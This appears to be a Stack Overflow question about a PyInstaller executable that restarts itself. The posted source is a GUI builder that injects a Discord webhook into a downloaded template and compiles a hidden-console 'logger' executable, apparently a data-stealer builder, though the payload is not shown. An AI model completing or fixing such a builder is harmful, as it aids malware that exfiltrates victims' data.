'PyInstaller .exe keeps restarting itself

I made something in python to test my python skills. I tried converting it to an .EXE (the main python file itself) but it keeps starting itself over and over again: https://youtu.be/GItuZkD8nfo it keeps starting new windows over & over again.

# Imports

from asyncio.log import logger
from asyncio.windows_events import NULL
from base64 import b64encode
from os import remove, mkdir
from shutil import rmtree
from shutil import move as movefile
from art import text2art
from anonfile import AnonFile
anon = AnonFile()
from discord_webhook import DiscordWebhook
from tkinter import NE, TOP, Entry, Label, Tk, Button,  PhotoImage, messagebox, StringVar
import PyInstaller.__main__
from multiprocessing import freeze_support
freeze_support()

# Warn user to install python!

messagebox.showinfo("Python!", "Make sure you have python v3.10 installed before continuing")

# create temp folder

try:
mkdir('temp')
except FileExistsError:
pass

#labels / buttons to remove later
labels = []

#terminal art ;)
Art=text2art("Cappuccino")
print(Art)
#define GUI class
class MyFirstGUI:
def __init__(self, master):
self.master = master

        #define title
        master.title("Cappuccino")
    
        #buttons
        self.greet_button = Button(master, image=photo,highlightthickness=0, borderwidth=0,relief='flat',command=self.build)
        self.quit = Button(master, image=quit_Image,highlightthickness=0, borderwidth=0,relief='flat', command=self.quit)
    
        #pack the buttons
        self.greet_button.pack(side="bottom")
        self.quit.pack(side=TOP, anchor=NE)
    
        #entry box
        e1 = Entry(master, width=50, justify='center', textvariable=webhook)
        e1.pack(padx=10, pady=100)
    
    
    def quit(self):
        #quit function
        rmtree('temp')
        exit()
    
    def build(self):
    
        #build function
        for label in labels: label.destroy()
        webhook_encoded = str(b64encode(webhook.get().encode('utf-8'))).replace("b'", "").replace("'", "")
        try:
            webhookSender = DiscordWebhook(url=webhook.get(), content='Cappucino Test!', username='Cappucino')
            response = webhookSender.execute()
        except:
            print('ERROR! Most likely caused by: No internet connection or an invalid webhook!')
            label = Label( root, image=error, highlightthickness=0, borderwidth=0,relief='flat' )
            label.pack()
            labels.append(label)
            return
        filename = anon.download("private", path='temp')
        try:
            f = open('temp/py1.py', 'r', encoding='utf-8')
        except FileNotFoundError:
            label = Label( root, image=error, highlightthickness=0, borderwidth=0,relief='flat' )
            label.pack()
            labels.append(label)
            print('ERROR! Python file not found.')
            return
        code = f.read()
        try:
            l2 = open('temp/py2.py', 'w', encoding='utf-8')
        except FileNotFoundError:
            pass
        l2.write(code.replace('Webhook_Here', webhook_encoded))
        l2.close()
        f.close()
        error = False
        try:
            PyInstaller.__main__.run([
                'temp/logger2.py',
                '--onefile',
                '--noconsole',
                '--log-level=INFO',
                '--icon=NONE',
            ])
        except:
            label = Label( root, image=error, highlightthickness=0, borderwidth=0,relief='flat' )
            label.pack()
            labels.append(label)
            print('ERROR! PyInstaller failed converting the logger to an .EXE!')
            return
    
        movefile('dist/p2.exe', 'a.exe')
        remove('logger2.spec')
        try:
            rmtree('temp/__pycache__')
            rmtree('build')
            rmtree('dist')
        except OSError as e:
            print("Error: %s - %s." % (e.filename, e.strerror))
        remove('temp/py1.py')
        remove('temp/py2.py')

#define root
root = Tk()

#define webhook
webhook = StringVar()

#configure background
root.configure(bg="#1e1e1e")

#configure icon
root.wm_iconbitmap('Cappuccino.ico')

#define window height and width
root.geometry("600x400")

#error text
photo = PhotoImage(file = "Untitled.png")
quit_Image = PhotoImage(file = "quit.png")
error = PhotoImage(file = "Error.png")

#gui?
my_gui = MyFirstGUI(root)

#loop
root.mainloop() 

I tried adding

from multiprocessing import freeze_support
freeze_support()

but that did not work at all. I was expecting the program to work like normal.

Running the program from the normal .py file works just fine!



Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source